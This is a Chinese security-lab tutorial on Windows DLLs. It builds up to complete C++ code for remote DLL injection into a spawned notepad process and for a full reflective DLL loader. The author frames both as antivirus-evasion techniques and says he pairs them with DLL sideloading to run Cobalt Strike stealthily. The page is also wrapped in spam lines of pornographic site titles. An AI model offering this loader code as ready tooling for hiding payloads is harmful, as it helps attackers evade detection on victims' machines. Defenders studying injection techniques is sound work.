色哟哟视频在线观看-色哟哟视频在线-色哟哟欧美15最新在线-色哟哟免费在线观看-国产l精品国产亚洲区在线观看-国产l精品国产亚洲区久久

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

Windows操作系統中DLL簡介

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 作者:蛇矛實驗室 ? 2022-10-20 09:52 ? 次閱讀

本文章是蛇矛實驗室基于"火天網測網絡安全測試平臺"進行編寫及驗證,通過火天網測中的病毒測試模塊,可以對文件進行詳盡的評估, 從而對文件是否存在惡意行為進行判斷。

DLL簡介

DLL(動態鏈接庫)注入技術是木馬程序,遠控程序免殺過程中很常見的一種技術。但是這種技術隨著時間的流逝,免殺效果越來越差。因此,需要在原版的基礎上我們需要去升級成反射注入,也是目前主流的免殺方式之一,反射注入的介紹我們在下面詳解。

在我們繼續下面的操作時,我們先去看看dll是什么.MSDN[What is a DLL]文章。通過文章基本可以了解到dll就是包含各種數據的庫,它們提供了一種模塊化的代碼編寫方法。當我們使用像 LoadLibraryA 這樣的函數時,可以加載到我們程序中。

什么是 DLL

對于 Windows 操作系統,操作系統的大部分功能都是由 DLL 提供的。此外,當您在這些 Windows 操作系統上運行程序時,該程序的大部分功能可能由 DLL 提供。例如,一些程序可能包含許多不同的模塊,程序的每個模塊都包含在DLL中并分布在DLL中。

DLL 的使用有助于促進代碼的模塊化、代碼重用、有效的內存使用和減少磁盤空間。因此,操作系統和程序加載速度更快,運行速度更快,并且在計算機上占用的磁盤空間更少。

當程序使用 DLL 時,稱為依賴性的問題可能會導致程序無法運行。當程序使用 DLL 時,會創建一個依賴項。如果另一個程序覆蓋并破壞了這種依賴關系,則原始程序可能無法成功運行。

隨著 .NET Framework 的引入,大多數依賴問題已通過使用程序集消除。

更多信息

DLL 是一個庫,其中包含可由多個程序同時使用的代碼和數據。例如,在 Windows 操作系統中,Comdlg32 DLL 執行常見的對話框相關功能。每個程序都可以使用此 DLL 中包含的功能來實現打開對話框。它有助于促進代碼重用和有效的內存使用,通過使用 DLL,可以將程序模塊化為單獨的組件。例如,會計程序可以按模塊銷售。如果安裝了該模塊,則每個模塊都可以在運行時加載到主程序中。因為模塊是分開的,所以程序的加載時間更快。并且僅在請求該功能時才加載模塊。

此外,更新更容易應用于每個模塊,而不會影響程序的其他部分。例如,您可能有一個工資計劃,并且稅率每年都在變化。當這些更改被隔離到 DLL 時,您可以應用更新而無需再次構建或安裝整個程序。

以下列表描述了在 Windows 操作系統中作為 DLL 實現的一些文件:

ActiveX 控件 (.ocx) 文件

ActiveX 控件的一個示例是日歷控件,它允許您從日歷中選擇日期。

控制面板 (.cpl) 文件

.cpl 文件的一個示例是位于控制面板中的項目。每個項目都是一個專門的 DLL。

設備驅動程序 (.drv) 文件

設備驅動程序的一個示例是控制打印到打印機的打印機驅動程序。

DLL 優勢

以下列表描述了程序使用 DLL 時提供的一些優勢:

使用更少的資源

當多個程序使用同一個函數庫時,DLL 可以減少加載到磁盤和物理內存中的代碼重復。它不僅可以極大地影響在前臺運行的程序的性能,還可以極大地影響在 Windows 操作系統上運行的其他程序的性能。

促進模塊化架構

DLL 有助于促進模塊化程序的開發。它可以幫助您開發需要多種語言版本的大型程序或需要模塊化架構的程序。模塊化程序的一個示例是具有許多可以在運行時動態加載的模塊的會計程序。

簡化部署和安裝

當 DLL 中的函數需要更新或修復時,DLL 的部署和安裝不需要程序與 DLL 重新鏈接。此外,如果多個程序使用相同的 DLL,則多個程序都將受益于更新或修復。當您使用定期更新或修復的第三方 DLL 時,此問題可能會更頻繁地發生。

從磁盤加載DLL(自身加載)

我們首先編寫一個DLL(動態鏈接庫),一個EXE(加載器),然后去把DLL加載到我們的EXE中。

// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include"pch.h"

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
MessageBoxA(NULL, "DLL_PROCESS_ATTACH", "info", NULL);
break;
caseDLL_THREAD_ATTACH:
MessageBoxA(NULL, "DLL_THREAD_ATTACH", "info", NULL);
break;
caseDLL_THREAD_DETACH:
MessageBoxA(NULL, "DLL_THREAD_DETACH", "info", NULL);
break;
caseDLL_PROCESS_DETACH:
MessageBoxA(NULL, "DLL_PROCESS_DETACH", "info", NULL);
break;
}
returnTRUE;
}
#include
#include

intmain()
{
// 使用LoadLibraryA加載我們的dll 加載成功返回模塊句柄
printf("%p
",LoadLibraryA("dll.dll"));
std::cin.get();
return0;
}

202a11fc-4faf-11ed-a3b6-dac502259ad0.png

204d7778-4faf-11ed-a3b6-dac502259ad0.png

我們這里觸發了DLL_PROCESS_ATTACH 關閉exe觸發了DLL_PROCESS_DETACH,這里就是說明我們的DLL已經被加載到我們的EXE中了。我們可以用Process Hacker 2工具看下:

207bcde4-4faf-11ed-a3b6-dac502259ad0.png

可以看到我們的模塊地址 還有模塊名稱。

1f9c00a6-4faf-11ed-a3b6-dac502259ad0.png

從磁盤加載DLL(遠程加載)

如果我們想把我們的程序加載到別的進程中,那么該如何去做呢?

問:為什么要注入到別人的進程中

答:注入到別人的進程中后有利于我們的隱藏。

答:注入到別人的進程中有利于做免殺。

答:注入到系統進程中有更高的操作權限。

DLL程序源碼不變,我們去修改下load的代碼。注入我會相對詳細的去寫在代碼里面。

#include
#include

voidRemoteLoadDll(LPCSTR path)
{
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {};

// 創建一個notepad的進程
if(CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == NULL)
{
// 如果創建失敗直接返回
return;
}
else
{
// 創建成功打印進程pid 和 進程句柄
printf("Process PID: %d
", pi.dwProcessId);
printf("Process Handle: %p
", pi.hProcess);

intlen = strlen(path);
// 在創建的進程中申請一塊內存空間
LPVOID mem_addr = VirtualAllocEx(pi.hProcess, nullptr, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
printf(" :: Base Address: %p
", mem_addr);
// 把我們的dll路徑寫入到我們申請的內存空間內
WriteProcessMemory(pi.hProcess, mem_addr, (LPVOID)path, len, NULL);
// 從kernel32中獲取到LoadLibraryA的函數地址
PTHREAD_START_ROUTINE func_addr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");
printf(" :: THREAD_START_ROUTINE: %p
", func_addr);
// 創建遠程線程調用LoadLibraryA加載我們的dll
HANDLE thread_handle = CreateRemoteThread(pi.hProcess, NULL, 0, func_addr, mem_addr, 0, NULL);
printf(" :: Thread: %p
", thread_handle);
// 釋放工作
if(pi.hProcess)CloseHandle(pi.hProcess);
if(pi.hThread)CloseHandle(pi.hThread);
if(thread_handle)CloseHandle(thread_handle);
}
}

intmain()
{
// 使用LoadLibraryA加載我們的dll 加載成功返回模塊句柄
// printf("%p
", LoadLibraryA("dll.dll"));

RemoteLoadDll(R"(E:UsersRedTeamDesktopcodedll-injectx64Debugdll.dll)");

std::cin.get();
return0;
}

209f28b6-4faf-11ed-a3b6-dac502259ad0.png

可以發現DLL已經注入進去了,但是這種注入技術很容易被發現,因為我們在模塊中就可以查到我們注入的DLL,那么我們為了更好的隱藏自身,就要用到反射注入了。

1f9c00a6-4faf-11ed-a3b6-dac502259ad0.png

反射注入

反射式注入 dll ,不會調用 LoadLibraryA/W 等API來完成DLL的裝載,DLL并沒有在操作系統中”注冊”自己的存在。因此無法使用CreateToolhelp32Snapshot 遍歷到這個模塊。像ProcessExplorer等軟件也無法檢測出進程加載了該DLL。同時也不需要 DLL 留在磁盤上(可以通過網絡下發,或加密后存放在磁盤)避免文件落地,因此這種注入方式更加隱蔽(也可以說是內存加載,因為兩種思路其實是一樣的。)。

過程如下

加載DLL的PE文件到要注入的內存中

展開PE文件

修復重定位

解析導入地址表 (IAT)

調用DLL_PROCESS_ATTACH

具體代碼如下

#include
#include

//重定位表
typedefstructBASE_RELOCATION_BLOCK{
DWORD page_addr;
DWORD block_size;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

//重定位項
typedefstructBASE_RELOCATION_ENTRY{
USHORT offset : 12;
USHORT type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

usingDLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

intmain()
{
printf("pid:%d
", GetCurrentProcessId());

// 獲取當前模塊
PVOID imagebase = GetModuleHandleA(NULL);

//將DLL字節讀入內存緩沖區
HANDLE dll = CreateFileA(R"(C:UsersAdministratorDesktopdll-injectDebugdll.dll)", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
DWORD64 dll_size = GetFileSize(dll, NULL);
LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
DWORD out_size = 0;
ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

// 解析dll
PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes;
PIMAGE_NT_HEADERS ntheaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dosheaders->e_lfanew);
SIZE_T dllImage_size = ntheaders->OptionalHeader.SizeOfImage;

// 為DLL分配新的內存空間
LPVOID dllbase = VirtualAlloc((LPVOID)ntheaders->OptionalHeader.ImageBase, dllImage_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("new memory addr:%p
", dllbase);

//計算得到基地址的偏移量,也就是實際的 DLL 加載地址減去 DLL 的推薦加載地址
DWORD_PTR delta_image_base = (DWORD_PTR)dllbase - (DWORD_PTR)ntheaders->OptionalHeader.ImageBase;

// 將DLL節表頭復制到新分配的DLL空間
std::memcpy(dllbase, dll_bytes, ntheaders->OptionalHeader.SizeOfHeaders);

// 將DLL節部分復制到新分配的DLL空間
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntheaders);
for(size_ti = 0; i < ntheaders->FileHeader.NumberOfSections; i++)
{
LPVOID section_destination = (LPVOID)((DWORD_PTR)dllbase + (DWORD_PTR)section->VirtualAddress);
LPVOID section_bytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData);
std::memcpy(section_destination, section_bytes, section->SizeOfRawData);
section++;
}

//修復重定位
IMAGE_DATA_DIRECTORY relocations = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocation_table = relocations.VirtualAddress + (DWORD_PTR)dllbase;
DWORD relocations_processed = 0;

while(relocations_processed < relocations.Size)
??{
????PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
????relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
????DWORD relocations_count = (relocation_block->block_size - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);

for(DWORD i = 0; i < relocations_count; i++)
????{
??????relocations_processed += sizeof(BASE_RELOCATION_ENTRY);

??????if?(relocation_entries[i].type == 0)
??????{
????????continue;
??????}

??????DWORD_PTR relocation_rva = relocation_block->page_addr + relocation_entries[i].offset;
DWORD_PTR address_2_patch = 0;
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR), NULL);
address_2_patch += delta_image_base;
std::memcpy((PVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR));
}
}

//解析導入地址表
PIMAGE_IMPORT_DESCRIPTOR import_descriptor = NULL;
IMAGE_DATA_DIRECTORY imports_directory = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imports_directory.VirtualAddress + (DWORD_PTR)dllbase);
LPCSTR libraryname = "";
HMODULE library = NULL;

while(import_descriptor->Name != NULL)
{
libraryname = (LPCSTR)import_descriptor->Name + (DWORD_PTR)dllbase;
library = LoadLibraryA(libraryname);

if(library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllbase + import_descriptor->FirstThunk);

while(thunk->u1.AddressOfData != NULL)
{
if(IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllbase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}

import_descriptor++;
}

//執行
DLLEntry dllentry = (DLLEntry)((DWORD_PTR)dllbase + ntheaders->OptionalHeader.AddressOfEntryPoint);
(*dllentry)((HINSTANCE)dllbase, DLL_PROCESS_ATTACH, 0);

CloseHandle(dll);
HeapFree(GetProcessHeap(), 0, dll_bytes);

return0;
}

211e918c-4faf-11ed-a3b6-dac502259ad0.png

23c03a76-4faf-11ed-a3b6-dac502259ad0.png

從這里可以看到我們DLL的PE結構存放在我們新申請的內存里,我們內存展開后去執行了這個程序。這樣更加隱蔽的去執行了我們的程序。在免殺技術中,我經常使用這種技術配合白加黑去執行Cobalt Strike的EXE程序,隱蔽的去執行我們的代碼,當然這里我們也可以更加隱蔽的去執行我們的代碼。

蛇矛實驗室成立于2020年,致力于安全研究、攻防解決方案、靶場對標場景仿真復現及技戰法設計與輸出等相關方向。團隊核心成員均由從事安全行業10余年經驗的安全專家組成,團隊目前成員涉及紅藍對抗、滲透測試、逆向破解、病毒分析、工控安全以及免殺等相關領域。

審核編輯:湯梓紅

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • dll
    dll
    +關注

    關注

    0

    文章

    115

    瀏覽量

    45431
  • WINDOWS
    +關注

    關注

    4

    文章

    3547

    瀏覽量

    88751
  • 操作系統
    +關注

    關注

    37

    文章

    6834

    瀏覽量

    123344

原文標題:免殺技術之dll注入技術詳解

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    Windows Embedded 操作系統

    、占用內存很少的設備。借助一整套完善的操作系統功能和綜合開發工具,Windows CE 可包含開發人員開發、調試和部署自定義設備所需的各種功能。  Windows CE 的組件化功能
    發表于 04-16 09:16

    UCOSII操作系統簡介

    的ESP8266+onenet+http協議的程序鏈接,可以作為參考,如果文中有不當的地方,還請各位大佬加以中指正,我一定會虛心求教。參考資料:正點原子RTOS操作系統講解,參考的文章:(53條消息) STM32學習筆記一一UCOSII(1)_霽風AI-CSDN博客_ucosii1.UCOSII
    發表于 01-12 06:00

    Windows2012操作系統部署EasyRTC程序錯誤怎么解決

    Windows2012操作系統部署EasyRTC,發現運行程序出現以下錯誤:原因分析從上圖報錯可以看到,我們的系統丟失了兩個庫。EasyRTC的freeswitch模塊的運行需要加載
    發表于 02-11 06:28

    Windows XP操作系統 ppt課件

    Windows XP操作系統2.1 操作系統概念2.1.1 操作系統的地位2.1.2 操作系統的定義和功能2.1.3
    發表于 11-07 09:50 ?0次下載

    Windows 2000操作系統培圳教程

    Windows 2000操作系統培圳教程:第3章  中文Windows 2000操作系統 3.1  &nb
    發表于 03-11 16:57 ?0次下載

    WINDOWS操作系統

    WINDOWS操作系統              (1)Windows
    發表于 12-17 11:53 ?735次閱讀

    WINDOWS操作系統有哪些?

    WINDOWS操作系統有哪些? (1)Windows 98
    發表于 12-26 11:59 ?7245次閱讀

    什么是Windows Vista操作系統

    什么是Windows Vista操作系統  Vista是微軟下一代操作系統,以前叫做Longhorn(微軟當初內部的代號)。22日微軟對外宣布正式名稱是Windows Vista。作
    發表于 01-21 16:09 ?1929次閱讀

    手機Windows mobile系列操作系統

    手機Windows mobile系列操作系統 Windows mobile 系列操作系統是在微軟計算機的Windows
    發表于 01-28 17:01 ?617次閱讀

    Linux操作系統Windows操作系統的五大區別

    Linux操作系統Windows操作系統身為三大操作系統巨頭里面的兩大巨頭,他們有什么區別呢?首先,先要聲明一點,所有以Linux內核為基礎開發的
    發表于 07-10 16:28 ?7931次閱讀

    基于Windows CE操作系統實現OAL層的功能和結構應用設計

    重新寫的,并不是任何一款桌面版Windows的精簡版本。 Windows CE是一種支持多種CPU架構的操作系統,這其中包括ARM、x86、MIPS和SHx,極大地減輕了0EM開發過程
    的頭像 發表于 10-04 13:30 ?2014次閱讀
    基于<b class='flag-5'>Windows</b> CE<b class='flag-5'>操作系統</b>實現OAL層的功能和結構應用設計

    DLL簡介

    DLL 劫持 DLL 簡介Windows ,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即
    的頭像 發表于 05-22 15:51 ?1516次閱讀
    <b class='flag-5'>DLL</b><b class='flag-5'>簡介</b>

    Windows操作系統的常用命令

    這些命令不僅能提高工作效率,還能幫助用戶解決許多復雜的問題。本系列文章將詳細介紹Windows操作系統的常用命令,幫助你成為Windows極客!
    的頭像 發表于 08-07 15:40 ?639次閱讀
    <b class='flag-5'>Windows</b><b class='flag-5'>操作系統</b><b class='flag-5'>中</b>的常用命令

    Windows操作系統是什么?它有哪些特點?

    Windows操作系統是由美國微軟公司(Microsoft Corporation)開發和推出的一種計算機操作系統。自1985年Windows 1.0版本發布以來,
    的頭像 發表于 08-07 16:30 ?2640次閱讀

    如何在windows上emulate不同操作系統

    一、虛擬化技術概述 虛擬化技術允許在單個物理機器上創建多個虛擬機,每個虛擬機都可以運行不同的操作系統。這使得我們可以在Windows系統上模擬其他操作系統,而無需購買額外的硬件。虛擬化
    的頭像 發表于 12-05 15:50 ?201次閱讀
    主站蜘蛛池模板: 久久精品国产在热亚洲| 古代又黄又肉到湿的爽文| 色婷婷综合激情中文在线| 老熟风间由美AV在线一区二区| 黑色丝袜在线观看| 国产亚洲AV无码成人网站| 沟沟人体一区二区| 超碰最新地址| 成人网络电视破解版| 超碰免费视频公开观看| 超碰caoporn| 帝王被大臣们调教高肉| 儿子操妈妈视频| 国产高清美女一级a毛片久久w| 高潮久久久久久久久不卡 | 国语自产视频在线| 国产免费高清mv视频在线观看| 国产探花在线精品一区二区| 国语自产一区第二页| 久久精品视频uu| 老师给美女同学开嫩苞| 男人天堂999| 日本少妇无码精品12P| 三级黄视频| 亚洲成人mv| 在线高清视频不卡无码| 99久久99久久久99精品齐| 菠萝菠萝蜜在线观看视频| 成人动漫百度影音| 国产精品资源网站在线观看| 金发欧美一区在线观看| 麻豆国产99在线中文| 啪啪啪社区| 午夜神器老司机高清无码| 亚洲一卡二卡三卡四卡无卡麻豆| 18禁在线无遮挡羞羞漫画 | 老师你下面好紧夹死了| 暖暖 视频 免费 高清 在线观看| 日韩一区二区三区精品| 亚洲成片在线看| 24小时日本免费看|